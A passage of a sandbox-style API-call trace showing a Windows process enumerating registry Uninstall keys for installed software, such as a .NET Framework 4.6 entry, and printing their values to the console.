cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft .NET Framework 4.6", lpUsedDefaultChar=0x0) returned 28 [0148.195] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 28 [0148.195] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.195] __iob_func () returned 0x7fefd702a80 [0148.195] _fileno (_File=0x7fefd702ab0) returned 1 [0148.195] _errno () returned 0xc4bb0 [0148.195] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.195] _errno () returned 0xc4bb0 [0148.195] GetFileType (hFile=0x50) returned 0x1 [0148.195] lstrlenW (lpString="\n") returned 1 [0148.195] GetConsoleOutputCP () returned 0x1b5 [0148.195] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.195] GetConsoleOutputCP () returned 0x1b5 [0148.195] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.196] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.196] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.196] GetProcessHeap () returned 0x2e0000 [0148.196] GetProcessHeap () returned 0x2e0000 [0148.196] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f9cc0) returned 1 [0148.196] GetProcessHeap () returned 0x2e0000 [0148.196] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f9cc0) returned 0x3e [0148.196] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f9cc0 | out: hHeap=0x2e0000) returned 1 [0148.196] __iob_func () returned 0x7fefd702a80 [0148.196] _fileno (_File=0x7fefd702ab0) returned 1 [0148.196] _errno () returned 0xc4bb0 [0148.196] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.196] _errno () returned 0xc4bb0 [0148.196] GetFileType (hFile=0x50) returned 0x1 [0148.196] lstrlenW (lpString="\n") returned 1 [0148.196] GetConsoleOutputCP () returned 0x1b5 [0148.196] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.196] GetConsoleOutputCP () returned 0x1b5 [0148.196] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.196] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.196] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.196] GetProcessHeap () returned 0x2e0000 [0148.196] GetProcessHeap () returned 0x2e0000 [0148.196] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bc0) returned 1 [0148.196] GetProcessHeap () returned 0x2e0000 [0148.196] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5bc0) returned 0x28 [0148.196] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bc0 | out: hHeap=0x2e0000) returned 1 [0148.196] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x23f784, lpcbMaxSubKeyLen=0x23f780, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x23f784*=0x0, lpcbMaxSubKeyLen=0x23f780, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0148.197] GetProcessHeap () returned 0x2e0000 [0148.197] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x2) returned 0x2fcda0 [0148.197] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{94A631D5-B30A-3DD8-B65C-1117C09DA73E}") returned 109 [0148.197] GetProcessHeap () returned 0x2e0000 [0148.197] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0xde) returned 0x2ff9a0 [0148.197] GetProcessHeap () returned 0x2e0000 [0148.197] GetProcessHeap () returned 0x2e0000 [0148.197] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.197] GetProcessHeap () returned 0x2e0000 [0148.197] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x2 [0148.197] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.197] GetProcessHeap () returned 0x2e0000 [0148.197] GetProcessHeap () returned 0x2e0000 [0148.197] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2ff9a0) returned 1 [0148.197] GetProcessHeap () returned 0x2e0000 [0148.197] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2ff9a0) returned 0xde [0148.197] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2ff9a0 | out: hHeap=0x2e0000) returned 1 [0148.197] RegCloseKey (hKey=0x5c) returned 0x0 [0148.197] RegEnumKeyExW (in: hKey=0x58, dwIndex=0x1b, lpName=0x2fbb50, lpcchName=0x23f864, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}", lpcchName=0x23f864, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0148.197] __iob_func () returned 0x7fefd702a80 [0148.197] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.197] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%s\n", _ArgList=0x23f800 | out: _Buffer="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}\n") returned 110 [0148.197] _fileno (_File=0x7fefd702ab0) returned 1 [0148.197] _errno () returned 0xc4bb0 [0148.197] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.197] _errno () returned 0xc4bb0 [0148.197] GetFileType (hFile=0x50) returned 0x1 [0148.197] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}\n") returned 110 [0148.197] GetConsoleOutputCP () returned 0x1b5 [0148.197] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}\n", cchWideChar=110, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 110 [0148.197] GetConsoleOutputCP () returned 0x1b5 [0148.198] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}\n", cchWideChar=110, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}\n", lpUsedDefaultChar=0x0) returned 110 [0148.198] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 110 [0148.198] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.198] RegOpenKeyExW (in: hKey=0x58, lpSubKey="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}", ulOptions=0x0, samDesired=0x20019, phkResult=0x23f868 | out: phkResult=0x23f868*=0x5c) returned 0x0 [0148.198] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x23f6d0, lpcbMaxValueNameLen=0x23f720, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x23f6d0*=0x19, lpcbMaxValueNameLen=0x23f720, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0148.198] GetProcessHeap () returned 0x2e0000 [0148.198] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x28) returned 0x2f5bc0 [0148.198] RegEnumValueW (in: hKey=0x5c, dwIndex=0x0, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="AuthorizedCDFPrefix", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.198] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="AuthorizedCDFPrefix", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.198] GetProcessHeap () returned 0x2e0000 [0148.198] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.198] GetProcessHeap () returned 0x2e0000 [0148.198] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.198] GetProcessHeap () returned 0x2e0000 [0148.198] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.198] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="AuthorizedCDFPrefix", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0148.198] __iob_func () returned 0x7fefd702a80 [0148.198] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.198] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.198] _fileno (_File=0x7fefd702ab0) returned 1 [0148.198] _errno () returned 0xc4bb0 [0148.198] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.198] _errno () returned 0xc4bb0 [0148.198] GetFileType (hFile=0x50) returned 0x1 [0148.198] lstrlenW (lpString=" ") returned 4 [0148.198] GetConsoleOutputCP () returned 0x1b5 [0148.199] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.199] GetConsoleOutputCP () returned 0x1b5 [0148.199] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.199] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.199] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.199] lstrlenW (lpString="AuthorizedCDFPrefix") returned 19 [0148.199] __iob_func () returned 0x7fefd702a80 [0148.199] _fileno (_File=0x7fefd702ab0) returned 1 [0148.199] _errno () returned 0xc4bb0 [0148.199] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.199] _errno () returned 0xc4bb0 [0148.199] GetFileType (hFile=0x50) returned 0x1 [0148.199] lstrlenW (lpString="AuthorizedCDFPrefix") returned 19 [0148.199] GetConsoleOutputCP () returned 0x1b5 [0148.199] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="AuthorizedCDFPrefix", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0148.199] GetConsoleOutputCP () returned 0x1b5 [0148.199] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="AuthorizedCDFPrefix", cchWideChar=19, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AuthorizedCDFPrefix", lpUsedDefaultChar=0x0) returned 19 [0148.199] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 19 [0148.199] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.199] __iob_func () returned 0x7fefd702a80 [0148.199] _fileno (_File=0x7fefd702ab0) returned 1 [0148.200] _errno () returned 0xc4bb0 [0148.200] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.200] _errno () returned 0xc4bb0 [0148.200] GetFileType (hFile=0x50) returned 0x1 [0148.200] lstrlenW (lpString=" ") returned 4 [0148.200] GetConsoleOutputCP () returned 0x1b5 [0148.200] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.200] GetConsoleOutputCP () returned 0x1b5 [0148.200] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.200] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.200] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.200] __iob_func () returned 0x7fefd702a80 [0148.200] _fileno (_File=0x7fefd702ab0) returned 1 [0148.200] _errno () returned 0xc4bb0 [0148.200] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.200] _errno () returned 0xc4bb0 [0148.200] GetFileType (hFile=0x50) returned 0x1 [0148.200] lstrlenW (lpString="REG_SZ") returned 6 [0148.200] GetConsoleOutputCP () returned 0x1b5 [0148.200] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.200] GetConsoleOutputCP () returned 0x1b5 [0148.200] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.201] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.201] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.201] __iob_func () returned 0x7fefd702a80 [0148.201] _fileno (_File=0x7fefd702ab0) returned 1 [0148.201] _errno () returned 0xc4bb0 [0148.201] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.201] _errno () returned 0xc4bb0 [0148.201] GetFileType (hFile=0x50) returned 0x1 [0148.201] lstrlenW (lpString=" ") returned 4 [0148.201] GetConsoleOutputCP () returned 0x1b5 [0148.201] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.201] GetConsoleOutputCP () returned 0x1b5 [0148.201] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.201] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.201] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.201] __iob_func () returned 0x7fefd702a80 [0148.201] _fileno (_File=0x7fefd702ab0) returned 1 [0148.201] _errno () returned 0xc4bb0 [0148.201] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.201] _errno () returned 0xc4bb0 [0148.201] GetFileType (hFile=0x50) returned 0x1 [0148.201] lstrlenW (lpString="") returned 0 [0148.201] __iob_func () returned 0x7fefd702a80 [0148.201] _fileno (_File=0x7fefd702ab0) returned 1 [0148.201] _errno () returned 0xc4bb0 [0148.201] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.201] _errno () returned 0xc4bb0 [0148.201] GetFileType (hFile=0x50) returned 0x1 [0148.202] lstrlenW (lpString="\n") returned 1 [0148.202] GetConsoleOutputCP () returned 0x1b5 [0148.202] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.202] GetConsoleOutputCP () returned 0x1b5 [0148.202] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.202] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.202] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.202] GetProcessHeap () returned 0x2e0000 [0148.202] GetProcessHeap () returned 0x2e0000 [0148.202] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.202] GetProcessHeap () returned 0x2e0000 [0148.202] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.202] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.202] RegEnumValueW (in: hKey=0x5c, dwIndex=0x1, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Comments", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.202] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Comments", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x9c) returned 0x0 [0148.202] GetProcessHeap () returned 0x2e0000 [0148.202] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x9e) returned 0x302970 [0148.202] GetProcessHeap () returned 0x2e0000 [0148.202] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x302970) returned 1 [0148.202] GetProcessHeap () returned 0x2e0000 [0148.202] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x302970) returned 0x9e [0148.202] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Comments", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x302970, pcbData=0x23f670*=0x9c | out: pdwType=0x23f5f0*=0x1, pvData="Caution. Removing this product might prevent some applications from running.", pcbData=0x23f670*=0x9a) returned 0x0 [0148.202] __iob_func () returned 0x7fefd702a80 [0148.202] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.202] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.203] _fileno (_File=0x7fefd702ab0) returned 1 [0148.203] _errno () returned 0xc4bb0 [0148.203] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.203] _errno () returned 0xc4bb0 [0148.203] GetFileType (hFile=0x50) returned 0x1 [0148.203] lstrlenW (lpString=" ") returned 4 [0148.203] GetConsoleOutputCP () returned 0x1b5 [0148.203] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.203] GetConsoleOutputCP () returned 0x1b5 [0148.203] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.203] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.203] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.203] lstrlenW (lpString="Comments") returned 8 [0148.203] __iob_func () returned 0x7fefd702a80 [0148.203] _fileno (_File=0x7fefd702ab0) returned 1 [0148.203] _errno () returned 0xc4bb0 [0148.203] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.203] _errno () returned 0xc4bb0 [0148.203] GetFileType (hFile=0x50) returned 0x1 [0148.203] lstrlenW (lpString="Comments") returned 8 [0148.203] GetConsoleOutputCP () returned 0x1b5 [0148.203] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Comments", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0148.203] GetConsoleOutputCP () returned 0x1b5 [0148.204] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Comments", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Comments", lpUsedDefaultChar=0x0) returned 8 [0148.204] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0148.204] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.204] __iob_func () returned 0x7fefd702a80 [0148.204] _fileno (_File=0x7fefd702ab0) returned 1 [0148.204] _errno () returned 0xc4bb0 [0148.204] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.204] _errno () returned 0xc4bb0 [0148.204] GetFileType (hFile=0x50) returned 0x1 [0148.204] lstrlenW (lpString=" ") returned 4 [0148.204] GetConsoleOutputCP () returned 0x1b5 [0148.204] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.204] GetConsoleOutputCP () returned 0x1b5 [0148.204] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.204] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.204] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.204] __iob_func () returned 0x7fefd702a80 [0148.204] _fileno (_File=0x7fefd702ab0) returned 1 [0148.204] _errno () returned 0xc4bb0 [0148.204] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.204] _errno () returned 0xc4bb0 [0148.204] GetFileType (hFile=0x50) returned 0x1 [0148.204] lstrlenW (lpString="REG_SZ") returned 6 [0148.204] GetConsoleOutputCP () returned 0x1b5 [0148.205] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.205] GetConsoleOutputCP () returned 0x1b5 [0148.205] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.205] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.205] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.205] __iob_func () returned 0x7fefd702a80 [0148.205] _fileno (_File=0x7fefd702ab0) returned 1 [0148.205] _errno () returned 0xc4bb0 [0148.205] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.205] _errno () returned 0xc4bb0 [0148.205] GetFileType (hFile=0x50) returned 0x1 [0148.205] lstrlenW (lpString=" ") returned 4 [0148.205] GetConsoleOutputCP () returned 0x1b5 [0148.205] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.205] GetConsoleOutputCP () returned 0x1b5 [0148.205] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.205] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.205] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.205] __iob_func () returned 0x7fefd702a80 [0148.205] _fileno (_File=0x7fefd702ab0) returned 1 [0148.205] _errno () returned 0xc4bb0 [0148.206] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.206] _errno () returned 0xc4bb0 [0148.206] GetFileType (hFile=0x50) returned 0x1 [0148.206] lstrlenW (lpString="Caution. Removing this product might prevent some applications from running.") returned 76 [0148.206] GetConsoleOutputCP () returned 0x1b5 [0148.206] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Caution. Removing this product might prevent some applications from running.", cchWideChar=76, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 76 [0148.206] GetConsoleOutputCP () returned 0x1b5 [0148.206] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Caution. Removing this product might prevent some 